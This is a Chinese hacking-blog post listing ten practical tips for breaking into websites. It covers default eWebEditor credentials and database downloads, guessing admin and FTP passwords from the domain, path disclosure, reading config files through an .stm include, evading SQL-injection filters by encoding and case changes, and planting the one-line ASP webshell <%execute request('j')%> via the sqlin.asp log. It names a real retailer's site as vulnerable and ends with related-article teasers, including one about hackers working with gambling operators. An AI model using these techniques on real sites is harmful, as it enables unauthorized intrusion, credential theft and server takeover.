入侵网站时的十种小经验

hacker5年前黑客文章1028

The hacker

入侵网站时的十种小经验

1.例如我们的目标网址为“http://www.xxxx.cn/forum/index.php”那么我们把地址改为http://www.xxxx.cn/forum/index.PHP后再浏览看看是否存在页面,如果存在的话,则服务器所使用的系统为windows,如果显示不存在,则服务器很有可能使用的是Linux

2. Ewebeditor拿站的新技巧

Ewebeditor 大家应该是再熟悉不过的吧?先用默认密码admin888登陆,不行就下载默认数据库‘/db/ewebeditor.mdb”,如果默认数据库也改了的话我们是不是就该放弃了呢?这里告诉大家我的经验!就是用密码admin999登陆,或者输入“/db/ewebeditor1013.mdb”就能下载到数据库了。这个 *** 有%80的几率能拿下目标!

3. 社工的小技巧

在入侵的时候如果目标网站有论坛的话,我们可以试一下社工,例如一个网站是“www.xxxx.cn”, 管理员名称为admin,那么我们就可以试试用密码“xxxx”和“xxxx.cn”来登陆,这种 *** 最适合在入侵大型公司网站的时候使用!

4. 入侵时的思维拓展

有时候我们获得了目标网站的管理员密码,但是又找不到后台,这是可以试下用FTP登陆,例如,目标网站是”www.xxxx.cn “ 得到的密码为“bishi”,我们就可以试下用“xxxx”“xxxx.cn”www.xxxx.cn作为FTP 用户名,用“bishi”:作为FTP密码来进行登陆,成功的几率可以很大的哦!)

5. 入侵时获得管理员名称

有时候在入侵类似于新闻发布网的网站时,注入得到了管理员密码,但是拿不到管理员的名称,网站上也没有论坛什么的,这时候该怎么办呢?我们可以随便打开一个新闻,然手仔细找找诸如“提交者”“发布者”之类的字眼,一般“提交者”就是管理员的名称了。:

6. 寻找管理员后台

有时候我们得到了管理员的账号和密码,但是却苦于找不到后台。这时候我们可以对着网站上的图片点右键,查看其属性。有时的确能找到后台的。

7 . 暴web绝对路径

众所周知,在入侵asp.net的网站时,我们首先就是在aspx文件前加上一个“~”来尝试暴出web的绝对路径,但在入侵用ASP+IIS架设的网站时能不能用呢?答案是肯定的,但是有一定的技巧,假设目标网站的主页为 www.xxxxx/index.asp,我们可以尝试提交这样的网址www.xxxxx.cn/fkbhvv.aspx ,其中fkbhvv.aspx 是不存在的!这个 *** 的成功率大约是%60. 家乐福的官方站就有这个漏洞

8. stm文件在入侵中的作用

当网站不允许上传 asp .. cer ..cdx . htr 等文件时,上传一个stm文件,代码为 “<!–#include file=”conn.asp”–>”(想查看什么文件就写什么文件名,这里我假设想查看的文件名为”conn.asp”),,然后直接打开这个 stm文件的地址,再查看源代码,“conn.asp”这个文件的代码就一览无遗了!

9. 注入的技巧

在找到一个网站可能存在注射漏洞的地址时(假设地址为www.xxxxxx/news.asp?id=6),我们通常会先提交一个单引号“’”来测试是否存在注射漏洞,但目前网上的通用防注入程序还是很多,所以很有可能会返回“XX通用防注入程序已阻止你试图进行的攻击!”的注入此类消息框。这时我们除了可以尝试COOKIES注入之外,还可以把变量编码一下(如”www.xxxxx/news.asp?id=6”编程” www.xxxx.cn/news.asp%69%64=6”)来进行注射,不行的话可以转换一下大小写(如“id”变成“ID”),或者转换大小写后再编码来进行注射等,总之想一些办法来把变量弄怪点,很多通用防注入程序都存在这写被绕过的缺陷!

10. 防注入程序拿shell

当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时(假设网址为“www.xxxx/news.asp?id=6”)弹出了“你的操作已被记录!”这类信息,而我们又没办法去绕过防注入系统的时候,可以试着提交http://www.xxxx/sqlin.asp看看存不存在“sqlin.asp” ,如果存在的话,我们只要提交” http:// www.xxxx/news.asp?id=6′<%execute request(“j”)%>“ ,然后再用一句话木马客户端来连接http://www.xxxxx/sqlin.asp文件就行了,因为目前很多通用防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库,而且大多数都没防下载处理

标签: 黑客技术

相关文章

镜像劫持、网马详细介绍

镜像劫持、网马详细介绍

今日,有一位网民问了我一个难题,他自己早已拥有网址了,如今他想制成“镜像劫持”这类网址,要是开启它,电脑上就会有将会感柒木马程序。   木马病毒是必须开启才有实际效果的,开启标准:要不蒙骗...

Thinkphp框架任意代码执行漏洞利用及修复

ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache...

OllyDbg是不是适用全部电脑操作系统?

OllyDbg是不是适用全部电脑操作系统?

什么叫OllyDbg? 这一黑客工具是一个32位系统汇编器剖析程序调试。二进制代码剖析促使该专用工具在源不能用的状况下很有效。OllyDbg具备优良的操作界面,循环系统,API启用,高級编码剖析,可...

谈谈WordPress程序的入侵思路和防御

WP程序,广受国内外站长们的喜爱,也因此,WP程序的安全也是一直以来做的不错的,说到入侵WP博客,小菜也没经验,完全是找了些这类的文章看了下,然后自己在琢磨点思路,所以还请看官们勿喷呐~ 1...

Medusa是不是适用全部电脑操作系统?

Medusa是不是适用全部电脑操作系统?

什么叫Medusa? Medusa为一个规模性平行面,模块化设计,迅速和登陆的野蛮人。目地是适用很多容许远程控制认证的服务项目。该专用工具的关键作用包含根据进程的并行处理检测 - 能够 对好几个服务...

黑客技术,黑客找赌博人合作

黑客技术,黑客找赌博人合作

一、技术黑客接单流程 1、接单方法他们不信任自愿合作和信息分享他们只喜欢控制的合作。技术找赌博人合作黑客在别人眼中是一件坏事,但黑客只是一个喜欢追求技术突破的人。他们擅长入侵、破解、攻击、社会攻击等等...